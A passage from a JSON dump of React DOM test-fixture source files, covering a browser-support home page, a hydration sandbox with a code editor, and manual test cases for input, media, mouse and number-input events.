    "content": "const React = window.React;\n\nexport default function Home() {\n  return (\n    <main className=\"container\">\n      <h1>DOM Test Fixtures</h1>\n      <p>\n        Use this site to test browser quirks and other behavior that can not be\n        captured through unit tests.\n      </p>\n      <section>\n        <h2>Tested Browsers</h2>\n        <table>\n          <thead>\n            <tr>\n              <th>Browser</th>\n              <th>Versions</th>\n            </tr>\n          </thead>\n          <tbody>\n            <tr>\n              <td>Chrome - Desktop</td>\n              <td>\n                49<sup>*</sup>, Latest\n              </td>\n            </tr>\n            <tr>\n              <td>Chrome - Android</td>\n              <td>Latest</td>\n            </tr>\n            <tr>\n              <td>Firefox Desktop</td>\n              <td>\n                <a href=\"https://www.mozilla.org/en-US/firefox/organizations/\">\n                  ESR<sup>†</sup>\n                </a>\n                , Latest\n              </td>\n            </tr>\n            <tr>\n              <td>Internet Explorer</td>\n              <td>9, 10, 11</td>\n            </tr>\n            <tr>\n              <td>Microsoft Edge</td>\n              <td>14, Latest</td>\n            </tr>\n            <tr>\n              <td>Safari - Desktop</td>\n              <td>7, Latest</td>\n            </tr>\n            <tr>\n              <td>Safari - iOS</td>\n              <td>7, Latest</td>\n            </tr>\n          </tbody>\n        </table>\n        <footer>\n          <small>* Chrome 49 is the last release for Windows XP.</small>\n          <br />\n          <small>\n            † Firefox Extended Support Release (ESR) is used by many\n            institutions.\n          </small>\n        </footer>\n      </section>\n      <section>\n        <h2>How do I test browsers I don't have access to?</h2>\n        <p>\n          Getting test coverage across all of these browsers can be difficult,\n          particularly for older versions of evergreen browsers. Fortunately\n          there are a handful of tools that make browser testing easy.\n        </p>\n        <section>\n          <h3>Paid services</h3>\n          <ul>\n            <li>\n              <a href=\"https://browserstack.com\">BrowserStack</a>\n            </li>\n            <li>\n              <a href=\"https://saucelabs.com\">Sauce Labs</a>\n            </li>\n            <li>\n              <a href=\"https://crossbrowsertesting.com/\">CrossBrowserTesting</a>\n            </li>\n          </ul>\n          <p>\n            These services provide access to all browsers we test, however they\n            cost money. There is no obligation to pay for them. Maintainers have\n            access to a BrowserStack subscription; feel free to contact a\n            maintainer or mention browsers where extra testing is required.\n          </p>\n        </section>\n        <section>\n          <h3>Browser downloads</h3>\n          <p>A handful of browsers are available for download directly:</p>\n          <ul>\n            <li>\n              <a href=\"https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/\">\n                Internet Explorer (9-11) and MS Edge virtual machines\n              </a>\n            </li>\n            <li>\n              <a href=\"https://www.chromium.org/getting-involved/download-chromium#TOC-Downloading-old-builds-of-Chrome-Chromium\">\n                Chromium snapshots (for older versions of Chrome)\n              </a>\n            </li>\n            <li>\n              <a href=\"https://www.mozilla.org/en-US/firefox/organizations/\">\n                Firefox Extended Support Release (ESR)\n              </a>\n            </li>\n          </ul>\n        </section>\n      </section>\n    </main>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/hydration/Code.js",
    "content": "import {findDOMNode} from '../../../find-dom-node';\n\nconst React = window.React;\n\nexport class CodeEditor extends React.Component {\n  shouldComponentUpdate() {\n    return false;\n  }\n\n  componentDidMount() {\n    this.textarea = findDOMNode(this);\n\n    // Important: CodeMirror incorrectly lays out the editor\n    // if it executes before CSS has loaded\n    // https://github.com/graphql/graphiql/issues/33#issuecomment-318188555\n    Promise.all([\n      import('codemirror'),\n      import('codemirror/mode/jsx/jsx'),\n      import('codemirror/lib/codemirror.css'),\n      import('./codemirror-paraiso-dark.css'),\n    ]).then(([CodeMirror]) => this.install(CodeMirror));\n  }\n\n  install(CodeMirror) {\n    if (!this.textarea) {\n      return;\n    }\n\n    const {onChange} = this.props;\n\n    this.editor = CodeMirror.fromTextArea(this.textarea, {\n      mode: 'jsx',\n      theme: 'paraiso-dark',\n      lineNumbers: true,\n    });\n\n    this.editor.on('change', function (doc) {\n      onChange(doc.getValue());\n    });\n  }\n\n  componentWillUnmount() {\n    if (this.editor) {\n      this.editor.toTextArea();\n    }\n  }\n\n  render() {\n    return (\n      <textarea\n        defaultValue={this.props.code}\n        autoComplete=\"off\"\n        hidden={true}\n      />\n    );\n  }\n}\n\n/**\n * Prevent IE9 from raising an error on an unrecognized element:\n * See https://github.com/facebook/react/issues/13610\n */\nconst supportsDetails = !(\n  document.createElement('details') instanceof HTMLUnknownElement\n);\n\nexport class CodeError extends React.Component {\n  render() {\n    const {error, className} = this.props;\n\n    if (!error) {\n      return null;\n    }\n\n    if (supportsDetails) {\n      const [summary, ...body] = error.message.split(/\\n+/g);\n\n      if (body.length >= 0) {\n        return <div className={className}>{summary}</div>;\n      }\n\n      return (\n        <details className={className}>\n          <summary>{summary}</summary>\n          {body.join('\\n')}\n        </details>\n      );\n    }\n\n    return <div className={className}>{error.message}</div>;\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/hydration/code-transformer.js",
    "content": "/**\n * Babel works across all browsers, however it requires many polyfills.\n */\n\nimport 'core-js/es6/weak-map';\nimport 'core-js/es6/weak-set';\nimport 'core-js/es6/number';\nimport 'core-js/es6/string';\nimport 'core-js/es6/array';\nimport 'core-js/modules/es6.object.set-prototype-of';\n\nimport {transform} from '@babel/standalone';\n\nconst presets = ['es2015', 'stage-3', 'react'];\n\nexport function compile(raw) {\n  return transform(raw, {presets}).code;\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/hydration/codemirror-paraiso-dark.css",
    "content": "/**\n * Name:       Paraíso (Dark)\n * Author:     Jan T. Sott\n * License:    Creative Commons Attribution-ShareAlike 4.0 Unported License.\n *             https://creativecommons.org/licenses/by-sa/4.0/deed.en_US\n *\n * Color scheme by Jan T. Sott (https://github.com/idleberg/Paraiso-CodeMirror)\n * Inspired by the art of Rubens LP (http://www.rubenslp.com.br)\n */\n\n.cm-s-paraiso-dark.CodeMirror { background: #2f1e2e; color: #b9b6b0; }\n.cm-s-paraiso-dark div.CodeMirror-selected { background: #41323f; }\n.cm-s-paraiso-dark .CodeMirror-line::selection, .cm-s-paraiso-dark .CodeMirror-line > span::selection, .cm-s-paraiso-dark .CodeMirror-line > span > span::selection { background: rgba(65, 50, 63, .99); }\n.cm-s-paraiso-dark .CodeMirror-line::-moz-selection, .cm-s-paraiso-dark .CodeMirror-line > span::-moz-selection, .cm-s-paraiso-dark .CodeMirror-line > span > span::-moz-selection { background: rgba(65, 50, 63, .99); }\n.cm-s-paraiso-dark .CodeMirror-gutters { background: #2f1e2e; border-right: 0px; }\n.cm-s-paraiso-dark .CodeMirror-guttermarker { color: #ef6155; }\n.cm-s-paraiso-dark .CodeMirror-guttermarker-subtle { color: #776e71; }\n.cm-s-paraiso-dark .CodeMirror-linenumber { color: #776e71; }\n.cm-s-paraiso-dark .CodeMirror-cursor { border-left: 1px solid #8d8687; }\n\n.cm-s-paraiso-dark span.cm-comment { color: #e96ba8; }\n.cm-s-paraiso-dark span.cm-atom { color: #815ba4; }\n.cm-s-paraiso-dark span.cm-number { color: #815ba4; }\n\n.cm-s-paraiso-dark span.cm-property, .cm-s-paraiso-dark span.cm-attribute { color: #48b685; }\n.cm-s-paraiso-dark span.cm-keyword { color: #ef6155; }\n.cm-s-paraiso-dark span.cm-string { color: #fec418; }\n\n.cm-s-paraiso-dark span.cm-variable { color: #48b685; }\n.cm-s-paraiso-dark span.cm-variable-2 { color: #06b6ef; }\n.cm-s-paraiso-dark span.cm-def { color: #f99b15; }\n.cm-s-paraiso-dark span.cm-bracket { color: #b9b6b0; }\n.cm-s-paraiso-dark span.cm-tag { color: #ef6155; }\n.cm-s-paraiso-dark span.cm-link { color: #815ba4; }\n.cm-s-paraiso-dark span.cm-error { background: #ef6155; color: #8d8687; }\n\n.cm-s-paraiso-dark .CodeMirror-activeline-background { background: #4D344A; }\n.cm-s-paraiso-dark .CodeMirror-matchingbracket { text-decoration: underline; color: white !important; }\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/hydration/data.js",
    "content": "export const SAMPLE_CODE = `\nclass Fixture extends React.Component {\n  state = {\n    value: 'asdf'\n  }\n\n  onChange(event) {\n    this.setState({ value: event.target.value });\n  }\n\n  render() {\n    const { value } = this.state;\n\n    return (\n      <form>\n        <input value={value} onChange={this.onChange.bind(this)} />\n        <p>Value: {value}</p>\n      </form>\n    );\n  }\n}\n`.trim();\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/hydration/hydration.css",
    "content": ".hydration {\n  background: #2f1e2e;\n  margin: 0;\n  position: relative;\n  height: calc(100vh - 40px); /* height of header */\n  overflow: auto;\n  padding-top: 32px;\n}\n\n.hydration-options {\n  background: #171717;\n  border-top: 1px dashed rgba(215, 235, 255, 0.12);\n  color: #def5ff;\n  height: 32px;\n  line-height: 28px;\n  padding: 0 8px;\n  width: 100%;\n  position: absolute;\n  top: 0;\n  left: 0;\n}\n\n.hydration-options label {\n  font-size: 13px;\n  margin-right: 10px;\n}\n\n.hydration-options input[type=checkbox] {\n  display: inline-block;\n  margin-right: 4px;\n  vertical-align: middle;\n}\n\n.hydration-options select {\n  margin-left: 10px;\n  max-width: 100px;\n}\n\n.hydration .CodeMirror {\n  font-size: 13px;\n  padding-top: 8px;\n  padding-bottom: 68px;\n  height: calc(100vh - 72px);\n  width: 55%;\n}\n\n.hydration-sandbox {\n  background: white;\n  border-radius: 2px;\n  border: 0;\n  box-shadow: 0 1px 6px rgba(0, 0, 0, 0.54);\n  height: calc(100% - 34px);\n  position: absolute;\n  right: 16px;\n  top: 16px;\n  width: calc(45% - 24px);\n}\n\n.hydration-code-error {\n  background: #df3f3f;\n  border-radius: 2px;\n  bottom: 18px;\n  color: white;\n  font-family: monospace;\n  font-size: 13px;\n  left: 16px;\n  line-height: 1.25;\n  overflow: auto;\n  padding: 12px;\n  position: fixed;\n  white-space: pre;\n  max-width: calc(55% - 26px);\n  z-index: 10;\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/hydration/index.js",
    "content": "import './hydration.css';\nimport VersionPicker from '../../VersionPicker';\nimport {SAMPLE_CODE} from './data';\nimport {CodeEditor, CodeError} from './Code';\nimport {compile} from './code-transformer';\nimport {reactPaths} from '../../../react-loader';\nimport qs from 'query-string';\n\nconst React = window.React;\n// The Hydration fixture can render at a different version than the parent\n// app. This allows rendering for versions of React older than the DOM\n// test fixtures can support.\nconst initialVersion = qs.parse(window.location.search).version || 'local';\n\nclass Hydration extends React.Component {\n  state = {\n    error: null,\n    code: SAMPLE_CODE,\n    hydrate: true,\n    version: initialVersion,\n  };\n\n  ready = false;\n\n  componentDidMount() {\n    window.addEventListener('message', this.handleMessage);\n  }\n\n  componentWillUnmount() {\n    window.removeEventListener('message', this.handleMessage);\n  }\n\n  handleMessage = event => {\n    var data = JSON.parse(event.data);\n\n    switch (data.type) {\n      case 'ready':\n        this.ready = true;\n        this.injectCode();\n        break;\n      default:\n        throw new Error(\n          'Editor Error: Unrecognized message \"' + data.type + '\"'\n        );\n    }\n  };\n\n  injectCode = () => {\n    try {\n      this.send({\n        type: 'code',\n        payload: compile(this.state.code),\n      });\n\n      this.setState({error: null});\n    } catch (error) {\n      this.setState({error});\n    }\n  };\n\n  send = message => {\n    if (this.ready) {\n      this.frame.contentWindow.postMessage(JSON.stringify(message), '*');\n    }\n  };\n\n  setFrame = frame => {\n    this.frame = frame;\n  };\n\n  setCode = code => {\n    this.setState({code}, this.injectCode);\n  };\n\n  setCheckbox = event => {\n    this.setState({\n      [event.target.name]: event.target.checked,\n    });\n  };\n\n  setVersion = version => {\n    this.setState({version});\n  };\n\n  render() {\n    const {code, error, hydrate, version} = this.state;\n    const src =\n      '/renderer.html?' + qs.stringify({hydrate, ...reactPaths(version)});\n\n    return (\n      <div className=\"hydration\">\n        <header className=\"hydration-options\">\n          <label htmlFor=\"hydrate\">\n            <input\n              id=\"hydrate\"\n              name=\"hydrate\"\n              type=\"checkbox\"\n              checked={hydrate}\n              onChange={this.setCheckbox}\n            />\n            Auto-Hydrate\n          </label>\n\n          <label htmlFor=\"hydration_version\">\n            Version:\n            <VersionPicker\n              id=\"hydration_version\"\n              name=\"hydration_version\"\n              version={version}\n              onChange={this.setVersion}\n            />\n          </label>\n        </header>\n\n        <CodeEditor code={code} onChange={this.setCode} />\n\n        <CodeError error={error} className=\"hydration-code-error\" />\n\n        <iframe\n          ref={this.setFrame}\n          className=\"hydration-sandbox\"\n          title=\"Hydration Preview\"\n          src={src}\n        />\n      </div>\n    );\n  }\n}\n\nexport default Hydration;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/index.js",
    "content": "const React = window.React;\nconst fixturePath = window.location.pathname;\n\n/**\n * A simple routing component that renders the appropriate\n * fixture based on the location pathname.\n */\nclass FixturesPage extends React.Component {\n  static defaultProps = {\n    fixturePath: fixturePath === '/' ? '/home' : fixturePath,\n  };\n\n  state = {\n    isLoading: true,\n    error: null,\n    Fixture: null,\n  };\n\n  componentDidMount() {\n    this.loadFixture();\n  }\n\n  async loadFixture() {\n    const {fixturePath} = this.props;\n\n    try {\n      const module = await import(`.${fixturePath}`);\n\n      this.setState({Fixture: module.default});\n    } catch (error) {\n      console.error(error);\n      this.setState({error});\n    } finally {\n      this.setState({isLoading: false});\n    }\n  }\n\n  render() {\n    const {Fixture, error, isLoading} = this.state;\n\n    if (isLoading) {\n      return null;\n    }\n\n    if (error) {\n      return <FixtureError error={error} />;\n    }\n\n    return <Fixture />;\n  }\n}\n\nfunction FixtureError({error}) {\n  return (\n    <section>\n      <h2>Error loading fixture</h2>\n      <p>{error.message}</p>\n    </section>\n  );\n}\n\nexport default FixturesPage;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/input-change-events/InputPlaceholderFixture.js",
    "content": "import Fixture from '../../Fixture';\nconst React = window.React;\n\nclass InputPlaceholderFixture extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n\n    this.state = {\n      placeholder: 'A placeholder',\n      changeCount: 0,\n    };\n  }\n\n  handleChange = () => {\n    this.setState(({changeCount}) => {\n      return {\n        changeCount: changeCount + 1,\n      };\n    });\n  };\n  handleGeneratePlaceholder = () => {\n    this.setState({\n      placeholder: `A placeholder: ${Math.random() * 100}`,\n    });\n  };\n\n  handleReset = () => {\n    this.setState({\n      changeCount: 0,\n    });\n  };\n\n  render() {\n    const {placeholder, changeCount} = this.state;\n    const color = changeCount === 0 ? 'green' : 'red';\n\n    return (\n      <Fixture>\n        <input\n          type=\"text\"\n          placeholder={placeholder}\n          onChange={this.handleChange}\n        />{' '}\n        <button onClick={this.handleGeneratePlaceholder}>\n          Change placeholder\n        </button>\n        <p style={{color}}>\n          <code>onChange</code>\n          {' calls: '}\n          <strong>{changeCount}</strong>\n        </p>\n        <button onClick={this.handleReset}>Reset count</button>\n      </Fixture>\n    );\n  }\n}\n\nexport default InputPlaceholderFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/input-change-events/RadioClickFixture.js",
    "content": "import Fixture from '../../Fixture';\nconst React = window.React;\n\nclass RadioClickFixture extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n\n    this.state = {\n      changeCount: 0,\n    };\n  }\n\n  handleChange = () => {\n    this.setState(({changeCount}) => {\n      return {\n        changeCount: changeCount + 1,\n      };\n    });\n  };\n\n  handleReset = () => {\n    this.setState({\n      changeCount: 0,\n    });\n  };\n\n  render() {\n    const {changeCount} = this.state;\n    const color = changeCount === 0 ? 'green' : 'red';\n\n    return (\n      <Fixture>\n        <label>\n          <input defaultChecked type=\"radio\" onChange={this.handleChange} />\n          Test case radio input\n        </label>{' '}\n        <p style={{color}}>\n          <code>onChange</code>\n          {' calls: '}\n          <strong>{changeCount}</strong>\n        </p>\n        <button onClick={this.handleReset}>Reset count</button>\n      </Fixture>\n    );\n  }\n}\n\nexport default RadioClickFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/input-change-events/RadioGroupFixture.js",
    "content": "import Fixture from '../../Fixture';\nconst React = window.React;\n\nclass RadioGroupFixture extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n\n    this.state = {\n      changeCount: 0,\n    };\n  }\n\n  handleChange = () => {\n    this.setState(({changeCount}) => {\n      return {\n        changeCount: changeCount + 1,\n      };\n    });\n  };\n\n  handleReset = () => {\n    this.setState({\n      changeCount: 0,\n    });\n  };\n\n  render() {\n    const {changeCount} = this.state;\n    const color = changeCount >= 3 ? 'green' : 'red';\n\n    return (\n      <Fixture>\n        <label>\n          <input\n            defaultChecked\n            name=\"foo\"\n            type=\"radio\"\n            onChange={this.handleChange}\n          />\n          Radio 1\n        </label>\n        <label>\n          <input name=\"foo\" type=\"radio\" onChange={this.handleChange} />\n          Radio 2\n        </label>{' '}\n        <p style={{color}}>\n          <code>onChange</code>\n          {' calls: '}\n          <strong>{changeCount}</strong>\n        </p>\n        <button onClick={this.handleReset}>Reset count</button>\n      </Fixture>\n    );\n  }\n}\n\nexport default RadioGroupFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/input-change-events/RadioNameChangeFixture.js",
    "content": "const React = window.React;\nconst noop = n => n;\n\nclass RadioNameChangeFixture extends React.Component {\n  state = {\n    updated: false,\n  };\n  onClick = () => {\n    this.setState(state => {\n      return {updated: !state.updated};\n    });\n  };\n  render() {\n    const {updated} = this.state;\n    const radioName = updated ? 'firstName' : 'secondName';\n    return (\n      <div>\n        <label>\n          <input\n            type=\"radio\"\n            name={radioName}\n            onChange={noop}\n            checked={updated === true}\n          />\n          First Radio\n        </label>\n\n        <label>\n          <input\n            type=\"radio\"\n            name={radioName}\n            onChange={noop}\n            checked={updated === false}\n          />\n          Second Radio\n        </label>\n\n        <div>\n          <button type=\"button\" onClick={this.onClick}>\n            Toggle\n          </button>\n        </div>\n      </div>\n    );\n  }\n}\n\nexport default RadioNameChangeFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/input-change-events/RangeKeyboardFixture.js",
    "content": "import Fixture from '../../Fixture';\nconst React = window.React;\n\nclass RangeKeyboardFixture extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n\n    this.state = {\n      keydownCount: 0,\n      changeCount: 0,\n    };\n  }\n\n  componentDidMount() {\n    this.input.addEventListener('keydown', this.handleKeydown, false);\n  }\n\n  componentWillUnmount() {\n    this.input.removeEventListener('keydown', this.handleKeydown, false);\n  }\n\n  handleChange = () => {\n    this.setState(({changeCount}) => {\n      return {\n        changeCount: changeCount + 1,\n      };\n    });\n  };\n\n  handleKeydown = e => {\n    // only interesting in arrow key events\n    if ([37, 38, 39, 40].indexOf(e.keyCode) < 0) {\n      return;\n    }\n\n    this.setState(({keydownCount}) => {\n      return {\n        keydownCount: keydownCount + 1,\n      };\n    });\n  };\n\n  handleReset = () => {\n    this.setState({\n      keydownCount: 0,\n      changeCount: 0,\n    });\n  };\n\n  render() {\n    const {keydownCount, changeCount} = this.state;\n    const color = keydownCount === changeCount ? 'green' : 'red';\n\n    return (\n      <Fixture>\n        <div>\n          <input\n            type=\"range\"\n            ref={r => (this.input = r)}\n            onChange={this.handleChange}\n          />\n          <button onClick={() => this.input.focus()}>Focus Knob</button>\n        </div>{' '}\n        <p style={{color}}>\n          <code>onKeyDown</code>\n          {' calls: '}\n          <strong>{keydownCount}</strong>\n          {' vs '}\n          <code>onChange</code>\n          {' calls: '}\n          <strong>{changeCount}</strong>\n        </p>\n        <button onClick={this.handleReset}>Reset counts</button>\n      </Fixture>\n    );\n  }\n}\n\nexport default RangeKeyboardFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/input-change-events/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport RangeKeyboardFixture from './RangeKeyboardFixture';\nimport RadioClickFixture from './RadioClickFixture';\nimport RadioGroupFixture from './RadioGroupFixture';\nimport RadioNameChangeFixture from './RadioNameChangeFixture';\nimport InputPlaceholderFixture from './InputPlaceholderFixture';\nconst React = window.React;\n\nclass InputChangeEvents extends React.Component {\n  render() {\n    return (\n      <FixtureSet\n        title=\"Input change events\"\n        description=\"Tests proper behavior of the onChange event for inputs\">\n        <TestCase\n          title=\"Range keyboard changes\"\n          description={`\n            Range inputs should fire onChange events for keyboard events\n          `}>\n          <TestCase.Steps>\n            <li>Focus range input</li>\n            <li>change value via the keyboard arrow keys</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The <code>onKeyDown</code> call count should be equal to the{' '}\n            <code>onChange</code> call count.\n          </TestCase.ExpectedResult>\n\n          <RangeKeyboardFixture />\n        </TestCase>\n\n        <TestCase\n          title=\"Radio input clicks\"\n          description={`\n            Radio inputs should only fire change events when the checked\n            state changes.\n          `}\n          resolvedIn=\"16.0.0\">\n          <TestCase.Steps>\n            <li>Click on the Radio input (or label text)</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The <code>onChange</code> call count should remain at 0\n          </TestCase.ExpectedResult>\n\n          <RadioClickFixture />\n        </TestCase>\n        <TestCase\n          title=\"Uncontrolled radio groups\"\n          description={`\n            Radio inputs should fire change events when the value moved to\n            another named input\n          `}\n          introducedIn=\"15.6.0\">\n          <TestCase.Steps>\n            <li>Click on the \"Radio 2\"</li>\n            <li>Click back to \"Radio 1\"</li>\n            <li>Click back to \"Radio 2\"</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The <code>onChange</code> call count increment on each value change\n            (at least 3+)\n          </TestCase.ExpectedResult>\n\n          <RadioGroupFixture />\n        </TestCase>\n\n        <TestCase\n          title=\"Inputs with placeholders\"\n          description={`\n            Text inputs with placeholders should not trigger changes\n            when the placeholder is altered\n          `}\n          resolvedIn=\"15.0.0\"\n          resolvedBy=\"#5004\"\n          affectedBrowsers=\"IE9+\">\n          <TestCase.Steps>\n            <li>Click on the Text input</li>\n            <li>Click on the \"Change placeholder\" button</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The <code>onChange</code> call count should remain at 0\n          </TestCase.ExpectedResult>\n\n          <InputPlaceholderFixture />\n        </TestCase>\n        <TestCase\n          title=\"Radio button groups with name changes\"\n          description={`\n            A radio button group should have correct checked value when\n            the names changes\n          `}\n          resolvedBy=\"#11227\"\n          affectedBrowsers=\"IE9+\">\n          <TestCase.Steps>\n            <li>Click the toggle button</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The checked radio button should switch between the first and second\n            radio button\n          </TestCase.ExpectedResult>\n\n          <RadioNameChangeFixture />\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default InputChangeEvents;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/media-events/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\n\nexport default class MediaEvents extends React.Component {\n  state = {\n    playbackRate: 2,\n    events: {\n      onCanPlay: false,\n      onCanPlayThrough: false,\n      onDurationChange: false,\n      onEmptied: false,\n      onEnded: false,\n      onError: false,\n      onLoadedData: false,\n      onLoadedMetadata: false,\n      onLoadStart: false,\n      onPause: false,\n      onPlay: false,\n      onPlaying: false,\n      onProgress: false,\n      onRateChange: false,\n      onResize: false,\n      onSeeked: false,\n      onSeeking: false,\n      onSuspend: false,\n      onTimeUpdate: false,\n      onVolumeChange: false,\n      onWaiting: false,\n    },\n  };\n\n  updatePlaybackRate = () => {\n    this.video.playbackRate = 2;\n  };\n\n  setVideo = el => {\n    this.video = el;\n  };\n\n  eventDidFire(event) {\n    this.setState({\n      events: Object.assign({}, this.state.events, {[event]: true}),\n    });\n  }\n\n  getProgress() {\n    const events = Object.keys(this.state.events);\n    const total = events.length;\n    const fired = events.filter(type => this.state.events[type]).length;\n\n    return fired / total;\n  }\n\n  render() {\n    const events = Object.keys(this.state.events);\n    const handlers = events.reduce((events, event) => {\n      events[event] = this.eventDidFire.bind(this, event);\n      return events;\n    }, {});\n\n    return (\n      <FixtureSet title=\"Media Events\">\n        <TestCase\n          title=\"Event bubbling\"\n          description=\"Media events should synthetically bubble\">\n          <TestCase.Steps>\n            <li>Play the loaded video</li>\n            <li>Pause the loaded video</li>\n            <li>Play the failing video</li>\n            <li>Drag the track bar</li>\n            <li>Toggle the volume button</li>\n            <li>\n              <button onClick={this.updatePlaybackRate}>\n                Click this button to increase playback rate\n              </button>\n            </li>\n          </TestCase.Steps>\n\n          <p className=\"footnote\">\n            Note: This test does not confirm <code>onStalled</code>,{' '}\n            <code>onAbort</code>, or <code>onEncrypted</code>\n          </p>\n\n          <TestCase.ExpectedResult>\n            All events in the table below should be marked as \"true\".\n          </TestCase.ExpectedResult>\n\n          <section {...handlers}>\n            <video src=\"/test.mp4\" width=\"300\" controls ref={this.setVideo} />\n            <video src=\"/missing.mp4\" width=\"300\" controls />\n            <p className=\"footnote\">\n              Note: The second video will not load. This is intentional.\n            </p>\n          </section>\n          <hr />\n          <section>\n            <h3>Events</h3>\n            <p>The following events should bubble:</p>\n            <table>\n              <tbody>{events.map(this.renderOutcome, this)}</tbody>\n            </table>\n          </section>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n\n  renderOutcome(event) {\n    let fired = this.state.events[event];\n\n    return (\n      <tr key={event}>\n        <td>\n          <b>{event}</b>\n        </td>\n        <td style={{color: fired ? null : 'red'}}>{`${fired}`}</td>\n      </tr>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/mouse-events/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport MouseMovement from './mouse-movement';\nimport MouseEnter from './mouse-enter';\n\nconst React = window.React;\n\nclass MouseEvents extends React.Component {\n  render() {\n    return (\n      <FixtureSet title=\"Mouse Events\">\n        <MouseMovement />\n        <MouseEnter />\n      </FixtureSet>\n    );\n  }\n}\n\nexport default MouseEvents;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/mouse-events/mouse-enter.js",
    "content": "import TestCase from '../../TestCase';\n\nconst React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nconst MouseEnter = () => {\n  const containerRef = React.useRef();\n\n  React.useEffect(function () {\n    const hostEl = containerRef.current;\n    ReactDOM.render(<MouseEnterDetect />, hostEl, () => {\n      ReactDOM.render(<MouseEnterDetect />, hostEl.childNodes[1]);\n    });\n  }, []);\n\n  return (\n    <TestCase\n      title=\"Mouse Enter\"\n      description=\"\"\n      affectedBrowsers=\"Chrome, Safari, Firefox\">\n      <TestCase.Steps>\n        <li>Mouse enter the boxes below, from different borders</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        Mouse enter call count should equal to 1; <br />\n        Issue{' '}\n        <a\n          rel=\"noopener noreferrer\"\n          target=\"_blank\"\n          href=\"https://github.com/facebook/react/issues/16763\">\n          #16763\n        </a>{' '}\n        should not happen.\n        <br />\n      </TestCase.ExpectedResult>\n      <div ref={containerRef} />\n    </TestCase>\n  );\n};\n\nconst MouseEnterDetect = () => {\n  const [log, setLog] = React.useState({});\n  const firstEl = React.useRef();\n  const siblingEl = React.useRef();\n\n  const onMouseEnter = e => {\n    const timeStamp = e.timeStamp;\n    setLog(log => {\n      const callCount = 1 + (log.timeStamp === timeStamp ? log.callCount : 0);\n      return {\n        timeStamp,\n        callCount,\n      };\n    });\n  };\n\n  return (\n    <React.Fragment>\n      <div\n        ref={firstEl}\n        onMouseEnter={onMouseEnter}\n        style={{\n          border: '1px solid #d9d9d9',\n          padding: '20px 20px',\n        }}>\n        Mouse enter call count: {log.callCount || ''}\n      </div>\n      <div ref={siblingEl} />\n    </React.Fragment>\n  );\n};\n\nexport default MouseEnter;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/mouse-events/mouse-movement.js",
    "content": "import TestCase from '../../TestCase';\n\nconst React = window.React;\n\nclass MouseMovement extends React.Component {\n  state = {\n    movement: {x: 0, y: 0},\n  };\n\n  onMove = event => {\n    this.setState({x: event.movementX, y: event.movementY});\n  };\n\n  render() {\n    const {x, y} = this.state;\n\n    const boxStyle = {\n      padding: '10px 20px',\n      border: '1px solid #d9d9d9',\n      margin: '10px 0 20px',\n    };\n\n    return (\n      <TestCase\n        title=\"Mouse Movement\"\n        description=\"We polyfill the movementX and movementY fields.\"\n        affectedBrowsers=\"IE, Safari\">\n        <TestCase.Steps>\n          <li>Mouse over the box below</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The reported values should equal the pixel (integer) difference\n          between mouse movements positions.\n        </TestCase.ExpectedResult>\n\n        <div style={boxStyle} onMouseMove={this.onMove}>\n          <p>Trace your mouse over this box.</p>\n          <p>\n            Last movement: {x},{y}\n          </p>\n        </div>\n      </TestCase>\n    );\n  }\n}\n\nexport default MouseMovement;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/number-inputs/NumberInputDecimal.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass NumberInputDecimal extends React.Component {\n  state = {value: '.98'};\n  changeValue = () => {\n    this.setState({\n      value: '0.98',\n    });\n  };\n  render() {\n    const {value} = this.state;\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <input\n            type=\"number\"\n            value={value}\n            onChange={e => {\n              this.setState({value: e.target.value});\n            }}\n          />\n          <button onClick={this.changeValue}>change.98 to 0.98</button>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default NumberInputDecimal;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/number-inputs/NumberInputExtraZeroes.js",
